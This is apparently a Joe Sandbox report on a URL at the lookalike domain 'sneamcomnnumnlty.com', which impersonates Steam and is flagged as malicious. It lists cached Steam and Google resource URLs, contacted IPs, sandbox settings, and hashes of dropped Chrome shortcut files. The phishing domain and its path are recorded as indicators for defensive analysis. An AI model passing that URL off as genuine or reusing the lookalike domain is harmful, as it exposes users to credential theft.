https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1	false		unknown
https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff	false		unknown
https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm	false		unknown
https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/googleplaystore/google_play_store_english.png	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/chat/group/	chromecache_303.2.dr, chromecache_396.2.dr, chromecache_446.2.dr, chromecache_408.2.dr, chromecache_338.2.dr, chromecache_526.2.dr	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/login/?redir=login%2F%3F14__global-header&redir_ssl=1&snr=1_60_4__glo	chromecache_297.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unknown.svg	chromecache_361.2.dr	false	0%, Virustotal, Browse	unknown
https://checkout.steampowered.com/checkout/submitproofofpurchase	chromecache_290.2.dr, chromecache_506.2.dr	false		unknown
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	chromecache_445.2.dr, chromecache_462.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	chromecache_358.2.dr, chromecache_517.2.dr	false	0%, Virustotal, Browse	unknown
https://github.com/jquery/jquery-color	chromecache_494.2.dr, chromecache_326.2.dr	false	0%, Virustotal, Browse	unknown
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	chromecache_290.2.dr, chromecache_506.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_patterns_3-4.png?v=2	chromecache_463.2.dr, chromecache_361.2.dr	false	0%, Virustotal, Browse	unknown
https://steam.tv	chromecache_409.2.dr, chromecache_422.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_1-2.png	chromecache_463.2.dr, chromecache_361.2.dr	false	0%, Virustotal, Browse	unknown
https://help.steampowered.com/th/	chromecache_430.2.dr	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_6100_crown.png	chromecache_463.2.dr, chromecache_361.2.dr	false	0%, Virustotal, Browse	unknown
https://support.google.com/recaptcha/#6175971	chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_4.png?v=2	chromecache_463.2.dr, chromecache_361.2.dr	false	0%, Virustotal, Browse	unknown
https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff)	chromecache_286.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015	chromecache_368.2.dr, chromecache_389.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_halftone_2.png?v=2	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/friendindicator_small.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
http://api.jqueryui.com/size-effect/	chromecache_494.2.dr, chromecache_326.2.dr	false		unknown
https://support.google.com/recaptcha	chromecache_307.2.dr, chromecache_478.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/wizard/HelpWithWalletCode	chromecache_445.2.dr, chromecache_462.2.dr	false		unknown
https://steamcommunity.com/chat/	chromecache_303.2.dr, chromecache_396.2.dr, chromecache_446.2.dr, chromecache_408.2.dr, chromecache_338.2.dr, chromecache_526.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=tzDCtkxeI-e5&l=en	chromecache_320.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_hexagons.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/responsive/local_menu_hamburger.png	chromecache_487.2.dr, chromecache_415.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/ico/ico-deck-unsupported.svg	chromecache_361.2.dr	false		unknown
https://help.steampowered.com/vi/	chromecache_430.2.dr	false		unknown
https://help.steampowered.com/de/	chromecache_430.2.dr	false		unknown
https://help.steampowered.com/fi/	chromecache_430.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_space.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer	chromecache_432.2.dr, chromecache_499.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_grunge_1.png?v=2	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.steampowered.com/friends/recommendgame	chromecache_300.2.dr, chromecache_278.2.dr, chromecache_277.2.dr, chromecache_378.2.dr	false		unknown
https://help.steampowered.com/ru/login/logout/	chromecache_506.2.dr	false		unknown
https://help.steampowered.com/ru/login/getrsakey/	chromecache_290.2.dr, chromecache_506.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english	chromecache_320.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english	chromecache_297.2.dr, chromecache_468.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxCancelSteamChinaAccessDeletion/	chromecache_290.2.dr, chromecache_506.2.dr	false		unknown
http://www.robertpenner.com/easing)	chromecache_494.2.dr, chromecache_326.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithSteamHardware	chromecache_430.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/inbox_moderator_message.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.steampowered.com/account/cookiepreferences/	chromecache_367.2.dr, chromecache_525.2.dr	false		unknown
https://help.steampowered.com/en/	chromecache_430.2.dr, chromecache_468.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/ru/wizard/AjaxRefundRequestForm	chromecache_290.2.dr, chromecache_506.2.dr	false		unknown
http://api.jqueryui.com/drop-effect/	chromecache_494.2.dr, chromecache_326.2.dr	false		unknown
https://help.steampowered.com/bg/	chromecache_430.2.dr	false		unknown
http://diveintomark.org/)	chromecache_476.2.dr, chromecache_504.2.dr, chromecache_404.2.dr	false		unknown
https://store.steampowered.com/?snr=1_60_4__global-header	chromecache_297.2.dr	false		unknown
https://cloud.google.com/contact	chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_airelement_3-4.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithAccount	chromecache_430.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/libraries~b28b7af69.js?v=T	chromecache_297.2.dr, chromecache_468.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/buttons/icon_double_arrows.png	chromecache_336.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=	chromecache_320.2.dr	false		unknown
http://www.steampowered.com/steamworks/	chromecache_297.2.dr, chromecache_468.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/login/ipt_lockout_icon.png	chromecache_440.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_geo_7-8.png?v=2	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_shapes_3.png?v=2	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_waterelement.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
http://bugs.jquery.com/ticket/8235	chromecache_494.2.dr, chromecache_326.2.dr	false		unknown
https://help.steampowered.com/hu/	chromecache_430.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxAccountRecoveryChangePassword/	chromecache_290.2.dr, chromecache_506.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxSubmitRefundRequest/	chromecache_290.2.dr, chromecache_506.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/manifest.js?v=3EOUTYYpLHaM	chromecache_297.2.dr, chromecache_468.2.dr	false		unknown
https://steamcommunity.com/workshop/	chromecache_297.2.dr, chromecache_430.2.dr, chromecache_468.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_steam_china_mobile.	chromecache_440.2.dr	false		unknown
https://store.steampowered.com/steam_refunds/?snr=1_44_44_	chromecache_297.2.dr, chromecache_468.2.dr	false		unknown
https://store.steampowered.com/search/smallcapscroll	chromecache_300.2.dr, chromecache_278.2.dr, chromecache_277.2.dr, chromecache_378.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithLimitedAccount	chromecache_396.2.dr, chromecache_526.2.dr	false		unknown
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	false	URL Reputation: safe	unknown
https://store.akamai.steamstatic.com/public/shared/images/community/levels_crystals.png	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.pn	chromecache_463.2.dr, chromecache_361.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithUnknownCharges	chromecache_430.2.dr	false		unknown
https://help.steampowered.com/el/	chromecache_430.2.dr	false		unknown
https://store.steampowered.com/search/results/	chromecache_303.2.dr, chromecache_396.2.dr, chromecache_446.2.dr, chromecache_408.2.dr, chromecache_338.2.dr, chromecache_526.2.dr	false		unknown
https://help.steampowered.com/it/	chromecache_430.2.dr	false		unknown
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_333.2.dr, chromecache_307.2.dr, chromecache_478.2.dr	false	URL Reputation: safe	unknown
https://partner.steamgames.com/steamdirect	chromecache_297.2.dr, chromecache_430.2.dr, chromecache_468.2.dr	false		unknown
https://help.steampowered.com/uk/	chromecache_430.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
172.64.145.151	community.cloudflare.steamstatic.com	United States	13335	CLOUDFLARENETUS	false
172.67.184.158	fonts.cdnfonts.com	United States	13335	CLOUDFLARENETUS	false
104.21.91.169	sneamcomnnumnlty.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
2.16.238.140	unknown	European Union	20940	AKAMAI-ASN1EU	false
104.18.42.105	unknown	United States	13335	CLOUDFLARENETUS	false
2.16.168.12	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.19.126.97	unknown	European Union	16625	AKAMAI-ASUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
2.19.126.133	cdn.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
2.19.126.154	community.akamai.steamstatic.com	European Union	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
2.16.168.5	unknown	European Union	20940	AKAMAI-ASN1EU	false
172.67.175.206	unknown	United States	13335	CLOUDFLARENETUS	false
2.16.168.6	store.akamai.steamstatic.com	European Union	20940	AKAMAI-ASN1EU	false
172.217.23.100	unknown	United States	15169	GOOGLEUS	false
104.102.49.254	api.steampowered.com	United States	16625	AKAMAI-ASUS	false
88.221.169.65	store.steampowered.com	European Union	16625	AKAMAI-ASUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1526660
Start date and time:	2024-10-06 14:07:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://sneamcomnnumnlty.com/jfh8893040282949023/here/put
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@30/428@70/25
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://store.steampowered.com/mobile Browse: https://help.steampowered.com/ru/

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 142.250.181.238, 142.250.110.84, 34.104.35.123, 142.250.186.138, 142.250.185.170, 216.58.206.42, 142.250.185.106, 216.58.212.138, 172.217.18.10, 142.250.185.138, 142.250.185.74, 216.58.206.74, 142.250.186.42, 142.250.186.106, 172.217.23.106, 216.58.212.170, 172.217.18.106, 142.250.185.202, 172.217.16.202, 184.28.90.27, 52.149.20.212, 172.217.16.195, 199.232.214.172, 192.229.221.95, 13.85.23.206, 142.250.185.227, 20.3.187.198, 104.18.187.31, 104.18.186.31, 142.250.185.234, 142.250.181.234, 142.250.184.202, 142.250.184.234, 142.250.186.170, 142.250.186.67, 142.250.185.131, 2.16.100.168, 88.221.110.91
Excluded domains from analysis (whitelisted): cdn.jsdelivr.net.cdn.cloudflare.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, ocsp.digicert.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Source	URL
Screenshot	https://store.steampowered.com/login/?14__global-header

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 6 11:08:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.967563430022872
Encrypted:	false
SSDEEP:	48:8QdkTI0jHOidAKZdA19ehwiZUklqehqy+3:8Hfwpy
MD5:	CF912E95CEEE0259F05361BBCBD35D7C
SHA1:	50D8AE4AC95AA5AD8F75C8B91A0B5E698E768108
SHA-256:	048DC66FB2BC702EF3EE6F009B1ACBCF4A52ACEC6E6B5E440BD673E448463625
SHA-512:	F991BC7E032F8672CED6A65AA2C29AF168793DC5E04AA8D5F16EEE4CC86031C59719157061B6A90012A3C8EDE2CBD74FF07F06D419B64F1BB71050148292259B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....E.Rl....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IFY.a....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFY.a....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFY.a....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFY.a..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFY.a...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............e.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 6 11:08:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9849564136657
Encrypted:	false
SSDEEP:	48:8edkTI0jHOidAKZdA1weh/iZUkAQkqehZy+2:89fK9QQy
MD5:	A51209E6A18FD1956B9DF1A1EFAD5554
SHA1:	32072AFBBC68948B7D6F0AEA84984976CF4E9416
SHA-256:	24BD430BE068699F6C33B7ED7780AE66BE551AF3CD517FFC4968F59EF8C49546
SHA-512:	6D972DC531098DE05DFC8CE8DD723A7106F04ED4206B24376F3A2952DF44A9F1A767CD6815C025B8C0DFA4E954A3932E823FE651FAB31E28E2A5623FEC3A302C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......<l....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IFY.a....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFY.a....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFY.a....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFY.a..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFY.a...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............e.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9959579486167875
Encrypted:	false
SSDEEP:	48:8xFdkTI0sHOidAKZdA14tseh7sFiZUkmgqeh7sny+BX:8xcfjn1y
MD5:	D1CF28AB1D16276A6D96F98AFDB2807F
SHA1:	05F27F5B96C35421F362C53ED03111582A228F02
SHA-256:	FC0C72A1453AE45CA19558866ACA96B58F5EE724E2FEA7D8793C20A7CAAE6139
SHA-512:	976D399DC3B0C433CD6604983E1883F0674B67EDED35A7D6A08E345A0BC893C8AD760BECB33967B593871E999959C0F354253AA9E0BD45A4C420B8C65AEACD71
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IFY.a....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFY.a....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFY.a....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFY.a..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............e.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 6 11:08:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981110999972427
Encrypted:	false
SSDEEP:	48:8rdkTI0jHOidAKZdA1vehDiZUkwqehNy+R:8yfR/y
MD5:	BE31A9B4BAAEE70ED6E55354A34F6DD5
SHA1:	DFFEBB561645D994229EC5735730451032168B49
SHA-256:	123B4A83FBEA71F063E6D65FC976C8EC2673659AD63EAD9F391FE5456EDE32D9
SHA-512:	BDF2F81D21D0A700A58C49CEC043008FBADF6428FE7F4D3F2C3E5472736A7AFD280BDFEBECEDF45C1F779B15F23C9ED9A92021C1DC37A1B74CD1D18085E68759
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....E@/l....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IFY.a....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFY.a....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFY.a....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFY.a..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFY.a...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............e.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 6 11:08:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.969523716972523
Encrypted:	false
SSDEEP:	48:8HdkTI0jHOidAKZdA1hehBiZUk1W1qehDy+C:8Wfx9jy
MD5:	345FC7F18B222534D1F4C1692AF817D8
SHA1:	6F82D7381C0CADB974DFB131240687E0334E7600
SHA-256:	24C0D9D39CC2E596F1040626A4D88A4F0B963F8E1C5C0938F769143C90C5AA13
SHA-512:	31339A402B17AF36EB6EACCF5F52DA09208566BE73F0EC5703726606730A835493DBAB701535ABC38C83369B1B0490BD3059A69ACF9FC0BECBF81328BB652CA7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....\}El....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IFY.a....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFY.a....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFY.a....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFY.a..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFY.a...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............e.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Oct 6 11:08:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.981987247376542
Encrypted:	false
SSDEEP:	48:88dkTI0jHOidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb1y+yT+:8bftT/TbxWOvTb1y7T
MD5:	1324CD95D38CFEFF4D978BF75D2A69CE
SHA1:	F056128FDED06A69D1DCDD6DA442BE312882FDFD
SHA-256:	03F284DC89FD220DE594E7FD8E9C64CC6966AFD07BE4020C09D041693B024691
SHA-512:	8F8F450C830095723D29FCED1386C5B21B70DFE246A53E86D756798F48C660462C03EDE1738262081A671551A0D25D4CFE367C9A7D52D70CD0985051A22C5AAA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....~.#l....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IFY.a....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFY.a....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFY.a....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFY.a..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFY.a...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............e.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansBold4.015;Plau;MotivaSan
Category:	downloaded
Size (bytes):	123884
Entropy (8bit):	6.07029634687136
Encrypted:	false
